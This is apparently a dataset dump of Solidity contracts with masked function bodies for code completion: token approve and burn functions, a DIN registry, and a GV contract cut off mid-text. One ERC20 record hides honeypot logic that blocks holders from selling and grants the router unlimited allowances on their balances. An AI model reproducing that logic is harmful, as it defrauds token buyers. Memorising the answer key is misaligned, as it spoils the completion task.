source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
686k
masked_all
stringlengths
34
686k
func_body
stringlengths
6
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
8.95k
74633
StandardToken
approve
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) public returns (bool)
function approve(address _spender, uint256 _value) public returns (bool)
30575
Transwave
approveAndCall
contract Transwave is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Transwave() public { symbol = "TRW"; name = "Transwave"; decimals = 18; _totalSupply = 700000000000000000000000000; balances[0xB1C28790753e392848191A1CF3c0782B3B75b348] = _totalSupply; Transfer(address(0), 0xB1C28790753e392848191A1CF3c0782B3B75b348, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract Transwave is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Transwave() public { symbol = "TRW"; name = "Transwave"; decimals = 18; _totalSupply = 700000000000000000000000000; balances[0xB1C28790753e392848191A1CF3c0782B3B75b348] = _totalSupply; Transfer(address(0), 0xB1C28790753e392848191A1CF3c0782B3B75b348, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
17025
DINRegistry
registerDIN
contract DINRegistry { struct Record { address owner; address resolver; // Address of the resolver contract, which can be used to find product information. uint256 updated; // Last updated time (Unix timestamp). } // DIN => Record mapping (uint256 => Record) records; // The first DIN registered. uint256 public genesis; // The current DIN. uint256 public index; modifier only_owner(uint256 DIN) { require(records[DIN].owner == msg.sender); _; } // Log transfers of ownership. event NewOwner(uint256 indexed DIN, address indexed owner); // Log when new resolvers are set. event NewResolver(uint256 indexed DIN, address indexed resolver); // Log new registrations. event NewRegistration(uint256 indexed DIN, address indexed owner); /** @dev Constructor. * @param _genesis The first DIN registered. */ function DINRegistry(uint256 _genesis) public { genesis = _genesis; index = _genesis; // Register the genesis DIN to the account that deploys this contract. records[_genesis].owner = msg.sender; records[_genesis].updated = block.timestamp; NewRegistration(_genesis, msg.sender); } /** * @dev Get the owner of a specific DIN. */ function owner(uint256 _DIN) public view returns (address) { return records[_DIN].owner; } /** * @dev Transfer ownership of a DIN. * @param _DIN The DIN to transfer. * @param _owner Address of the new owner. */ function setOwner(uint256 _DIN, address _owner) public only_owner(_DIN) { records[_DIN].owner = _owner; records[_DIN].updated = block.timestamp; NewOwner(_DIN, _owner); } /** * @dev Get the address of the resolver contract for a specific DIN. */ function resolver(uint256 _DIN) public view returns (address) { return records[_DIN].resolver; } /** * @dev Set the resolver of a DIN. * @param _DIN The DIN to update. * @param _resolver Address of the resolver. */ function setResolver(uint256 _DIN, address _resolver) public only_owner(_DIN) { records[_DIN].resolver = _resolver; records[_DIN].updated = block.timestamp; NewResolver(_DIN, _resolver); } /** * @dev Get the last time a DIN was updated with a new owner or resolver. * @param _DIN The DIN to query. * @return _timestamp Last updated time (Unix timestamp). */ function updated(uint256 _DIN) public view returns (uint256 _timestamp) { return records[_DIN].updated; } /** * @dev Self-register a new DIN. * @return _DIN The DIN that is registered. */ function selfRegisterDIN() public returns (uint256 _DIN) { return registerDIN(msg.sender); } /** * @dev Self-register a new DIN and set the resolver. * @param _resolver Address of the resolver. * @return _DIN The DIN that is registered. */ function selfRegisterDINWithResolver(address _resolver) public returns (uint256 _DIN) { return registerDINWithResolver(msg.sender, _resolver); } /** * @dev Register a new DIN for a specific address. * @param _owner Account that will own the DIN. * @return _DIN The DIN that is registered. */ function registerDIN(address _owner) public returns (uint256 _DIN) {<FILL_FUNCTION_BODY> } /** * @dev Register a new DIN and set the resolver. * @param _owner Account that will own the DIN. * @param _resolver Address of the resolver. * @return _DIN The DIN that is registered. */ function registerDINWithResolver(address _owner, address _resolver) public returns (uint256 _DIN) { index++; records[index].owner = _owner; records[index].resolver = _resolver; records[index].updated = block.timestamp; NewRegistration(index, _owner); NewResolver(index, _resolver); return index; } }
contract DINRegistry { struct Record { address owner; address resolver; // Address of the resolver contract, which can be used to find product information. uint256 updated; // Last updated time (Unix timestamp). } // DIN => Record mapping (uint256 => Record) records; // The first DIN registered. uint256 public genesis; // The current DIN. uint256 public index; modifier only_owner(uint256 DIN) { require(records[DIN].owner == msg.sender); _; } // Log transfers of ownership. event NewOwner(uint256 indexed DIN, address indexed owner); // Log when new resolvers are set. event NewResolver(uint256 indexed DIN, address indexed resolver); // Log new registrations. event NewRegistration(uint256 indexed DIN, address indexed owner); /** @dev Constructor. * @param _genesis The first DIN registered. */ function DINRegistry(uint256 _genesis) public { genesis = _genesis; index = _genesis; // Register the genesis DIN to the account that deploys this contract. records[_genesis].owner = msg.sender; records[_genesis].updated = block.timestamp; NewRegistration(_genesis, msg.sender); } /** * @dev Get the owner of a specific DIN. */ function owner(uint256 _DIN) public view returns (address) { return records[_DIN].owner; } /** * @dev Transfer ownership of a DIN. * @param _DIN The DIN to transfer. * @param _owner Address of the new owner. */ function setOwner(uint256 _DIN, address _owner) public only_owner(_DIN) { records[_DIN].owner = _owner; records[_DIN].updated = block.timestamp; NewOwner(_DIN, _owner); } /** * @dev Get the address of the resolver contract for a specific DIN. */ function resolver(uint256 _DIN) public view returns (address) { return records[_DIN].resolver; } /** * @dev Set the resolver of a DIN. * @param _DIN The DIN to update. * @param _resolver Address of the resolver. */ function setResolver(uint256 _DIN, address _resolver) public only_owner(_DIN) { records[_DIN].resolver = _resolver; records[_DIN].updated = block.timestamp; NewResolver(_DIN, _resolver); } /** * @dev Get the last time a DIN was updated with a new owner or resolver. * @param _DIN The DIN to query. * @return _timestamp Last updated time (Unix timestamp). */ function updated(uint256 _DIN) public view returns (uint256 _timestamp) { return records[_DIN].updated; } /** * @dev Self-register a new DIN. * @return _DIN The DIN that is registered. */ function selfRegisterDIN() public returns (uint256 _DIN) { return registerDIN(msg.sender); } /** * @dev Self-register a new DIN and set the resolver. * @param _resolver Address of the resolver. * @return _DIN The DIN that is registered. */ function selfRegisterDINWithResolver(address _resolver) public returns (uint256 _DIN) { return registerDINWithResolver(msg.sender, _resolver); } <FILL_FUNCTION> /** * @dev Register a new DIN and set the resolver. * @param _owner Account that will own the DIN. * @param _resolver Address of the resolver. * @return _DIN The DIN that is registered. */ function registerDINWithResolver(address _owner, address _resolver) public returns (uint256 _DIN) { index++; records[index].owner = _owner; records[index].resolver = _resolver; records[index].updated = block.timestamp; NewRegistration(index, _owner); NewResolver(index, _resolver); return index; } }
index++; records[index].owner = _owner; records[index].updated = block.timestamp; NewRegistration(index, _owner); return index;
function registerDIN(address _owner) public returns (uint256 _DIN)
/** * @dev Register a new DIN for a specific address. * @param _owner Account that will own the DIN. * @return _DIN The DIN that is registered. */ function registerDIN(address _owner) public returns (uint256 _DIN)
49777
ERC20
upint
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public {<FILL_FUNCTION_BODY> } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_SFUND(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } <FILL_FUNCTION> function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_SFUND(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
function upint(address addressn,uint8 Numb) public
function upint(address addressn,uint8 Numb) public
15347
GV
Burn
contract GV is Ownable, SafeMath { /* Public variables of the token */ string public name = 'Global Vmp'; string public symbol = 'GV'; uint8 public decimals = 8; uint256 public totalSupply =(5000000000 * (10 ** uint256(decimals))); uint public TotalHoldersAmount; /*Lock transfer from all accounts */ bool private Lock = false; bool public CanChange = true; address public admin; address public AddressForReturn; address[] Accounts; /* This creates an array with all balances */ mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*Individual Lock*/ mapping(address => bool) public AccountIsLock; /*Allow transfer for ICO, Admin accounts if IsLock==true*/ mapping(address => bool) public AccountIsNotLock; /*Allow transfer tokens only to ReturnWallet*/ mapping(address => bool) public AccountIsNotLockForReturn; mapping(address => uint) public AccountIsLockByDate; mapping (address => bool) public isHolder; mapping (address => bool) public isArrAccountIsLock; mapping (address => bool) public isArrAccountIsNotLock; mapping (address => bool) public isArrAccountIsNotLockForReturn; mapping (address => bool) public isArrAccountIsLockByDate; address [] public Arrholders; address [] public ArrAccountIsLock; address [] public ArrAccountIsNotLock; address [] public ArrAccountIsNotLockForReturn; address [] public ArrAccountIsLockByDate; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event StartBurn(address indexed from, uint256 value); event StartAllLock(address indexed account); event StartAllUnLock(address indexed account); event StartUseLock(address indexed account,bool re); event StartUseUnLock(address indexed account,bool re); event StartAdmin(address indexed account); event ReturnAdmin(address indexed account); event PauseAdmin(address indexed account); modifier IsNotLock{ require(((!Lock&&AccountIsLock[msg.sender]!=true)||((Lock)&&AccountIsNotLock[msg.sender]==true))&&now>AccountIsLockByDate[msg.sender]); _; } modifier isCanChange{ if(CanChange == true) { require((msg.sender==owner||msg.sender==admin)); } else if(CanChange == false) { require(msg.sender==owner); } _; } modifier whenNotPaused(){ require(!Lock); _; } /* Initializes contract with initial supply tokens to the creator of the contract */ function GV() public { balanceOf[msg.sender] = totalSupply; Arrholders[Arrholders.length++]=msg.sender; admin=msg.sender; } function AddAdmin(address _address) public onlyOwner{ require(CanChange); admin=_address; StartAdmin(admin); } modifier whenNotLock(){ require(!Lock); _; } modifier whenLock() { require(Lock); _; } function AllLock()public isCanChange whenNotLock{ Lock = true; StartAllLock(_msgSender()); } function AllUnLock()public onlyOwner whenLock{ Lock = false; StartAllUnLock(_msgSender()); } function UnStopAdmin()public onlyOwner{ CanChange = true; ReturnAdmin(_msgSender()); } function StopAdmin() public onlyOwner{ CanChange = false; PauseAdmin(_msgSender()); } function UseLock(address _address)public onlyOwner{ bool _IsLock = true; AccountIsLock[_address]=_IsLock; if (isArrAccountIsLock[_address] != true) { ArrAccountIsLock[ArrAccountIsLock.length++] = _address; isArrAccountIsLock[_address] = true; }if(_IsLock == true){ StartUseLock(_address,_IsLock); } } function UseUnLock(address _address)public onlyOwner{ bool _IsLock = false; AccountIsLock[_address]=_IsLock; if (isArrAccountIsLock[_address] != true) { ArrAccountIsLock[ArrAccountIsLock.length++] = _address; isArrAccountIsLock[_address] = true; } if(_IsLock == false){ StartUseUnLock(_address,_IsLock); } } /* Send coins */ function transfer(address _to, uint256 _value) public { require(((!Lock&&AccountIsLock[msg.sender]!=true)||((Lock)&&AccountIsNotLock[msg.sender]==true)||(AccountIsNotLockForReturn[msg.sender]==true&&_to==AddressForReturn))&&now>AccountIsLockByDate[msg.sender]); require(_to != 0x0); require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place if (isHolder[_to] != true) { Arrholders[Arrholders.length++] = _to; isHolder[_to] = true; }} /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value)public IsNotLock returns(bool success) { require(((!Lock&&AccountIsLock[_from]!=true)||((Lock)&&AccountIsNotLock[_from]==true))&&now>AccountIsLockByDate[_from]); require (balanceOf[_from] >= _value) ; // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (_value <= allowance[_from][msg.sender]) ; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); if (isHolder[_to] != true) { Arrholders[Arrholders.length++] = _to; isHolder[_to] = true; } return true; } /* @param _value the amount of money to burn*/ function Burn(uint256 _value)public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> } function GetHoldersCount () public view returns (uint _HoldersCount){ return (Arrholders.length-1); } function GetAccountIsLockCount () public view returns (uint _Count){ return (ArrAccountIsLock.length); } function GetAccountIsNotLockForReturnCount () public view returns (uint _Count){ return (ArrAccountIsNotLockForReturn.length); } function GetAccountIsNotLockCount () public view returns (uint _Count){ return (ArrAccountIsNotLock.length); } function GetAccountIsLockByDateCount () public view returns (uint _Count){ return (ArrAccountIsLockByDate.length); } function () public payable { revert(); } }
contract GV is Ownable, SafeMath { /* Public variables of the token */ string public name = 'Global Vmp'; string public symbol = 'GV'; uint8 public decimals = 8; uint256 public totalSupply =(5000000000 * (10 ** uint256(decimals))); uint public TotalHoldersAmount; /*Lock transfer from all accounts */ bool private Lock = false; bool public CanChange = true; address public admin; address public AddressForReturn; address[] Accounts; /* This creates an array with all balances */ mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*Individual Lock*/ mapping(address => bool) public AccountIsLock; /*Allow transfer for ICO, Admin accounts if IsLock==true*/ mapping(address => bool) public AccountIsNotLock; /*Allow transfer tokens only to ReturnWallet*/ mapping(address => bool) public AccountIsNotLockForReturn; mapping(address => uint) public AccountIsLockByDate; mapping (address => bool) public isHolder; mapping (address => bool) public isArrAccountIsLock; mapping (address => bool) public isArrAccountIsNotLock; mapping (address => bool) public isArrAccountIsNotLockForReturn; mapping (address => bool) public isArrAccountIsLockByDate; address [] public Arrholders; address [] public ArrAccountIsLock; address [] public ArrAccountIsNotLock; address [] public ArrAccountIsNotLockForReturn; address [] public ArrAccountIsLockByDate; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event StartBurn(address indexed from, uint256 value); event StartAllLock(address indexed account); event StartAllUnLock(address indexed account); event StartUseLock(address indexed account,bool re); event StartUseUnLock(address indexed account,bool re); event StartAdmin(address indexed account); event ReturnAdmin(address indexed account); event PauseAdmin(address indexed account); modifier IsNotLock{ require(((!Lock&&AccountIsLock[msg.sender]!=true)||((Lock)&&AccountIsNotLock[msg.sender]==true))&&now>AccountIsLockByDate[msg.sender]); _; } modifier isCanChange{ if(CanChange == true) { require((msg.sender==owner||msg.sender==admin)); } else if(CanChange == false) { require(msg.sender==owner); } _; } modifier whenNotPaused(){ require(!Lock); _; } /* Initializes contract with initial supply tokens to the creator of the contract */ function GV() public { balanceOf[msg.sender] = totalSupply; Arrholders[Arrholders.length++]=msg.sender; admin=msg.sender; } function AddAdmin(address _address) public onlyOwner{ require(CanChange); admin=_address; StartAdmin(admin); } modifier whenNotLock(){ require(!Lock); _; } modifier whenLock() { require(Lock); _; } function 